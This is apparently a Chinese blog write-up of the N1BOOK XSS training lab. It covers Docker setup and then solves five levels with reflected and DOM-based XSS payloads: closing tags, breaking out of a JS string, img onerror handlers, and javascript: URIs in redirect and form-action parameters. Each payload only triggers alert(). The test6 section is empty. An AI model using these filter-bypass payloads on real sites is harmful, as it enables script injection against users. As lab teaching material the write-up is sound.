前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >N1BOOK-XSS的魔力writeup

N1BOOK-XSS的魔力writeup

作者头像
Andromeda
发布2023-10-21 11:28:55
2010
发布2023-10-21 11:28:55
举报
文章被收录于专栏:Andromeda的专栏

靶场搭建

需要在Linux系统上安装docker,参考前一篇文章kali Linux上安装docker

第一步,进入root模式

代码语言:javascript
复制
sudo -i

新建一个文件夹

代码语言:javascript
复制
mkdir xss

新建docker-compose.yml文件

代码语言:javascript
复制
touch docker-compose.yml

使用vim编辑该文件

代码语言:javascript
复制
vim docker-compose.yml

将以下内容写入

代码语言:javascript
复制
version: "3.2"

services:
  xss:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
    ports:
      - 3000:3000

然后构建环境,浏览器访问localhost:3000即可

代码语言:javascript
复制
docker-compose up -d

test1

第一关没有任何过滤,完全是送的。闭合span标签,然后插入script即可

payload

代码语言:javascript
复制
?username=</span><script>alert(/xss/)</script><span>

test2

尝试常规的攻击方式,发现特殊字符被编码了。看看JavaScript源代码。这里用escape对username进行编码再输出到DOM节点中。

代码语言:javascript
复制
if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);

但是仔细看看上面一句var username = 'xss',这里可能是突破口。我们可以提前闭合单引号,然后插入一条语句。

payload

代码语言:javascript
复制
?username=xss';alert(/xss/);//

test3

先试下username=<>,发现没有过滤这两个危险字符。直接上<script>alert(/xss/)</script>,发现过滤掉了script。

因此,我们利用DOM时间来发起攻击

payload

代码语言:javascript
复制
?username=<img src="a" onerror="alert(/xs/)">

test4

直接看JavaScript源代码。分析一下,getQueryVariable()函数用于获取URL中通过get方式传入的参数。当没有传参时,jumpUrl为当前网址,否则为传入的jumpUrl参数,然后这个jumpUrl会经过编码然后输出到DOM树当中。所以我们用get方式传入我们构造jumpUrl参数,能够触发XSS。

代码语言:javascript
复制
var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

嵌入<script>alert(/xss/)</script>,发现<和>被编码了。再看看JavaScript源代码,location.href=jumpUrl,在这一步jumpUrl是没有被编码的,所以我们可以利用JavaScript伪协议触发弹窗。

payload

代码语言:javascript
复制
?jumpUrl=javascript:alert(/xss/)

test5

直接看JavaScript源代码。两个关键参数,autosubmitaction,下面这段代码首先判断是否传入了autosubmit参数,传入了则获取id为autoForm的表单,然后判断是否传入了action参数,如果传入了则将该表单的action设置为传入的action参数,否则设置为当前页面url。所以我们构造参数,将表单的action设置为javascript:alert(/xss/)即可。

代码语言:javascript
复制
if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}

payload

代码语言:javascript
复制
?autosubmit=1&action=javascript:alert(/xss/)

test6

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶场搭建
  • test1
  • test2
  • test3
  • test4
  • test5
  • test6
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档